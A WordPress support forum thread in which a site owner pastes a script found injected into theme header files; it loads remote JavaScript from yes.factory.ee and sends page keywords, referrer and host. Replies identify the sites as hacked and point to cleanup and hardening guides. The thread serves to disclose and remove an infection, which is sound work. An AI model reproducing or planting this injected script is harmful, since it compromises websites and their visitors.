Title: waiting for yes.factory.ee..
Last modified: August 31, 2016

---

# waiting for yes.factory.ee..

 *  [taleslie](https://wordpress.org/support/users/taleslie/)
 * (@taleslie)
 * [10 years, 2 months ago](https://wordpress.org/support/topic/waiting-for-yesfactoryee/)
 * I noticed that some of my sites were loading REALLY slow – sometimes not at all.
   It seems that a line of code was added to the theme header file, perhaps to artificially
   generate more traffic to the site factory.ee
 * While my page was loading, I noticed a message in the bottom of the screen that
   said, “waiting for yes.factory.ee..”
 * This was happening to 6 of my sites. Some of my sites were not affected. I noticed
   that the code existed in the theme header file for every site that used ThemeHorse’s“
   Interface Pro” and WordPress’s “Coraline” themes.
 * Here is the code I had to remove. I’m not a developer, so maybe someone can tell
   me if my assumptions about this are wrong. I have no idea how it got into my 
   files:
 *     ```
       <script>var a='';setTimeout(10);if(document.referrer.indexOf(location.protocol+"//"+location.host)!==0||document.referrer!==undefined||document.referrer!==''||document.referrer!==null){document.write('<script type="text/javascript" src="http://yes.factory.ee/js/jquery.min.php?c_utt=G91825&c_utm='+encodeURIComponent('http://yes.factory.ee/js/jquery.min.php'+'?'+'default_keyword='+encodeURIComponent(((k=(function(){var keywords='';var metas=document.getElementsByTagName('meta');if(metas){for(var x=0,y=metas.length;x<y;x++){if(metas[x].name.toLowerCase()=="keywords"){keywords+=metas[x].content;}}}return keywords!==''?keywords:null;})())==null?(v=window.location.search.match(/utm_term=([^&]+)/))==null?(t=document.title)==null?'':t:v[1]:k))+'&se_referrer='+encodeURIComponent(document.referrer)+'&source='+encodeURIComponent(window.location.host))+'"><'+'/script>');}</script>
       ```
   

Viewing 3 replies - 1 through 3 (of 3 total)

 *  [petercralen](https://wordpress.org/support/users/petercralen/)
 * (@petercralen)
 * [10 years, 2 months ago](https://wordpress.org/support/topic/waiting-for-yesfactoryee/#post-7209738)
 * As you experience this with two themes, and one is from Automattic – Coraline,
   it’s probably not related to your theme. You can feel safe with themes from Automattic.
 * So probably you use some weird plugin or your hosting environment is hacked 🙂
   Try to turn off all plugins to determine if a plugin causes this. If not, try
   to activate just default WordPress theme if something will change.
 * Btw. Maybe you can check [https://wordpress.org/themes/colinear/](https://wordpress.org/themes/colinear/)
   as it looks its some kind of “updated” new theme of the retired theme Coraline.
 *  [janeklb](https://wordpress.org/support/users/janeklb/)
 * (@janeklb)
 * [10 years, 2 months ago](https://wordpress.org/support/topic/waiting-for-yesfactoryee/#post-7209867)
 * I’m seeing this as well, though the javascript is injected into the `header.php`
   file for **all** themes on the site (not just the active one). Still haven’t 
   figured out what’s going on though..
 *  [Mark Ratledge](https://wordpress.org/support/users/songdogtech/)
 * (@songdogtech)
 * [10 years, 2 months ago](https://wordpress.org/support/topic/waiting-for-yesfactoryee/#post-7209871)
 * The sites that have that yes.factory.ee link in the header have been hacked.
 * Carefully follow [FAQ – My Site Was Hacked – WordPress Codex](https://codex.wordpress.org/FAQ_My_site_was_hacked).
 * Then take a look at the recommended security measures in [Hardening WordPress – WordPress Codex](https://codex.wordpress.org/Hardening_WordPress)
   and [Brute Force Attacks – WordPress Codex](http://codex.wordpress.org/Brute_Force_Attacks)
 * If you can’t do the work yourself, consider looking for a reputable person on
   [http://jobs.wordpress.net/](http://jobs.wordpress.net/) or [http://directory.codepoet.com](http://directory.codepoet.com)
   or [http://upwork.com](http://upwork.com)_ (FYI, it’s **not** a good idea to 
   respond to work offers from forum users.)_

Viewing 3 replies - 1 through 3 (of 3 total)

The topic ‘waiting for yes.factory.ee..’ is closed to new replies.

## Tags

 * [slow loading](https://wordpress.org/support/topic-tag/slow-loading/)
 * [wordpress-theme](https://wordpress.org/support/topic-tag/wordpress-theme/)

 * In: [Fixing WordPress](https://wordpress.org/support/forum/how-to-and-troubleshooting/)
 * 3 replies
 * 4 participants
 * Last reply from: [Mark Ratledge](https://wordpress.org/support/users/songdogtech/)
 * Last activity: [10 years, 2 months ago](https://wordpress.org/support/topic/waiting-for-yesfactoryee/#post-7209871)
 * Status: not resolved

## Topics

### Topics with no replies

### Non-support topics

### Resolved topics

### Unresolved topics

### All topics